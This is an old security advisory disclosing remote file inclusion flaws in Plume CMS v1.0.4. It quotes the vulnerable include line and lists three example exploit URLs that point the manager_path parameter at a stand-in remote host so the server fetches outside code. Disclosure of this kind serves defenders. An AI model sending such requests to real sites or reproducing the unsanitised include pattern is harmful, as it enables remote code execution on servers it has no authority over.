Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:13402
HistoryJul 04, 2006 - 12:00 a.m.

plume-cms v1.0.4 Multiple Remote File include

2006-07-0400:00:00
vulners.com
6

plume cms v1.0.4 Multiple Remote File include

Discovered By CrAsh_oVeR_rIdE
Arabian Security Team

site of script:http://www.plume-cms.net/

Vulnerable: plume cms v1.0.4

vulnerable code:

include $_PX_config['manager_path'].'/frontinc/class.template.php';
_PX_config[manager_path] parameter File include

vulnerable files :

index.php
rss.php
search.php

example:
www.example.com/(path)/index.php?_PX_config[manager_path]=http://evilcode.txt?
www.example.com/(path)/rss.php?_PX_config[manager_path]=http://evilcode.txt?
www.example.com/(path)/search.php?_PX_config[manager_path]=http://evilcode.txt?

Discovered By CrAsh_oVeR_rIdE
E-mail:[email protected]
Site:www.lezr.com
Greetz:KING-HACKER,YOUNG
HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,Black-Code,ALMOKAN3, mr-hcr AND ALL
LEZR.COM Member